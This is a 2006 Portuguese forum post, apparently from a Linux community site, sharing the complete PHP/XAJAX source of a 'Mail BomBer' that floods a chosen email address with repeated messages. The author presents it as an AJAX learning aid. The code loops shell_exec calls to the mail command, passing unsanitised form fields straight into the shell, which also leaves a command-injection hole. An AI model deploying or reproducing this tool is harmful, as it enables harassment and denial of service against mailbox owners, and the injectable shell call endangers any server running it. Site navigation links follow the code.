Mail BomBer 1.0
Publicado por Thiago Fernandes de Melo 16/08/2006
[ Hits: 5.897 ]
Homepage: http://www.hospedarfacil.com.br
Ae galera, fiz um mailbomber com XAJAX e PHP. Espero que lhes sirvam pra alguma coisa, pelo menos pra galerinha que tá querendo aprender AJAX. XAJAX é um framework pra trabalhar com AJAX no PHP. []´s. PS.: tem que ter algum servidor de e-mail no PC, Postfix ou Sendmail. Obs.: Tem que salvar os 2 arquivos, faça o download do XAJAX e salva o código-fonte com extensão .php.
<? require_once("xajax.inc.php"); function limp() { $objResponse = new xajaxResponse(); if($a['qts'] < 100) $Resposta = ""; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function check($a) { $objResponse = new xajaxResponse(); if($a['qts'] > 10) $Resposta = "<font size=2 color=red><b>*A quantidade Excede o Limite.</b></font>"; $objResponse->addAssign("checando","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkdestino($a) { $objResponse = new xajaxResponse(); if($a['destino'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando1","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function checkassunto($a) { $objResponse = new xajaxResponse(); if($a['assunto'] == "") $Resposta = "<font size=2 color=red><b>*Nenhum campo em branco.</b></font>"; $objResponse->addAssign("checando2","innerHTML", $Resposta); return $objResponse->getXML(); } ////////////////////////////////////////////////// function flood($a) { $objResponse = new xajaxResponse(); $Rss = "<b>Msg: </b>" .$a['destino']. "<br><b>Qts: </b>" .$a['qts']. "<br><b>Ass: </b>" .$a['assunto']. "</b><br><b>Msg: </b>" .$a['msg']. " "; $objResponse->addAssign("Resultado","innerHTML", nl2br(print_r($Rss, true))); return $objResponse->getXML(); } /////////////////////////////////////////////////// function fdnow($a) { $objResponse = new xajaxResponse(); $s = $a['qts']; $as = $a['assunto']; $dss = $a['msg']; $ds = $a['destino']; for($i = 0; $i<$s;$i++){ $Send[$i] = "Enviando " .$i. " de " .$s. ""; shell_exec("echo $as |mail -s $dss $ds"); } $objResponse->addAssign("fding","innerHTML", print_r($Send, true)); return $objResponse->getXML(); } /////////////////////////////////////////////////// $xajax = new xajax(); $xajax->registerFunction("flood"); $xajax->registerFunction("check"); $xajax->registerFunction("checkdestino"); $xajax->registerFunction("checkassunto"); $xajax->registerFunction("limp"); $xajax->registerFunction("fdnow"); $xajax->processRequests(); ?> <html> <head> <? $xajax->printJavascript(); ?> </head> <body> <form name=tx><table> <tr><td>Destino:</td><td><input type=text name=destino onblur="xajax_checkdestino(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando1"></div></td></tr> <tr><td>Assunto:</td><td><input type=text name=assunto onblur="xajax_checkassunto(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando2"></div></tr> <tr><td>Quantos:</td><td><input type=text name=qts onblur="xajax_check(xajax.getFormValues('tx',true)); return false;" onfocus="xajax_limp();"></td><td><div id="checando"></div></td></tr> <tr><td>Msg:</td><td><textarea name=msg></textarea></td></tr> <tr><td><input type=button name=send value=Flood onclick=" xajax_fdnow(xajax.getFormValues('tx',true)); return false"></td></tr></table><table> <tr><td><div id="fding">Aguardando...</div></td></tr> </form> </body> </html>
Leitura de planilhas com PhpSpreadsheet
TxtXtrator: Classe para extração e conversão de dados de arquivos texto
Menu restrito com permissões de navegação
Nenhum comentário foi encontrado.
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Flatpak: remover runtimes não usados e pacotes
Mudar o gerenciador de login (GDM para SDDM e vice-versa) - parte 2
Como atualizar o Debian 8 para o 10 (10)
Dica sobre iptables ACCEPT e DROP (6)
NGNIX - Aplicar SNAT para evitar roteamento assimetrico (29)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta